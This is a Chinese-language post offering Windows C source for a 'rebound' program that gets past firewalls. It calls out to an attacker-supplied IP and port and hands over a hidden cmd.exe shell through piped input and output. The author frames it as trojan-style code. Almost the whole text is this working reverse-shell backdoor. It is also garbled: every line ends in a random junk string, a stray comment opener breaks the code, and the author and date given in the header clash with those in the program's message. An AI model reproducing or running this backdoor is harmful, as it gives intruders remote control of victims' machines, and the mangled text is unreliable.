这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 xcf%KXJf6
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/* ============================== mFZ?hOyP.
Rebound port in Windows NT _}En/V_
By wind,2006/7 9^p;UA
===============================*/ ^:Gie
#include n= u&uqA*
#include 4zo5}L`Y
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#pragma comment(lib,"wsock32.lib") M%0C_=zg
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void OutputShell(); Os1>kwC
SOCKET sClient; X]dwX%:Z!j
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }-sdov<<
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void main(int argc,char **argv) <"r#:Wr
{ E L9]QI
WSADATA stWsaData; &@yo;kB
int nRet; 9
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SOCKADDR_IN stSaiClient,stSaiServer; Yn G_m]
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if(argc != 3) SrK) t.oK
{ >\Ww;1yV
printf("Useage:\n\rRebound DestIP DestPort\n"); x"
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return; 0PrLuejz
} HEM9E&rL
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WSAStartup(MAKEWORD(2,2),&stWsaData); SF<c0bR9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); L|}lccpI
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stSaiClient.sin_family = AF_INET; K%RxwM
stSaiClient.sin_port = htons(0); O2%?
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S-|)QGxV6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q;][5
{ RpD=]y!5_
printf("Bind Socket Failed!\n"); #kaY0M
return; ?}U(3
} B2'i7Ps
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stSaiServer.sin_family = AF_INET; W)f/0QX}W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); m4l&
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stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zIu
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/*X2c6<d
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) O4V.11FnW
{ 75/(??2
printf("Connect Error!"); 9E"vN
return; /! "|_W|n
} vRHd&0
OutputShell(); hUp.tK:X7o
} h1B16)
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void OutputShell() lY?QQ01D
{ U$WxHYo
char szBuff[1024]; K|hjEQRv
SECURITY_ATTRIBUTES stSecurityAttributes; F|e1"PkeoA
OSVERSIONINFO stOsversionInfo; EkjN{$*
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; O\"3J(y,
STARTUPINFO stStartupInfo; xQ^E"Q,1
char *szShell; YW( Qmo7
PROCESS_INFORMATION stProcessInformation; pH"#8O&
unsigned long lBytesRead; %R}.#,Suo
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); P;qN(2L/=<
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7G}2,ueI
stSecurityAttributes.lpSecurityDescriptor = 0; Y6zbo
stSecurityAttributes.bInheritHandle = TRUE; I J(
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <FcG
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); e}
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a!"$~y$*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3W3ZjdV+
stStartupInfo.wShowWindow = SW_HIDE; ?"i}^B`*
stStartupInfo.hStdInput = hReadPipe; j/_s"}m{
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LHkc7X$
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GetVersionEx(&stOsversionInfo); w1OI4C)~
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switch(stOsversionInfo.dwPlatformId) 117EZg]O
{ m
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case 1: V9{]OV%
szShell = "command.com"; Z\ja
break; ebUBrxZX
default: :7!0OVQla\
szShell = "cmd.exe"; Z7hgA-t
break; 7b;I+q
} $m].8?
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); C9n?@D;S
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send(sClient,szMsg,77,0); hRrn$BdLX
while(1) U |Jo{(Y
{ g1W.mAA3B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #><.oreXq
if(lBytesRead) V-Sd[
{ h?BFvbAt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); vdx0i&RiL
send(sClient,szBuff,lBytesRead,0); g!?:Ye`5
} ?fUlgQ}N
else Jrti
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lBytesRead=recv(sClient,szBuff,1024,0); V )x$|!(
if(lBytesRead<=0) break; 'B 43_
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); GVYBa_gx
} \]2]/=2tLd
} \Zqng
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return; YaKeq5%y
}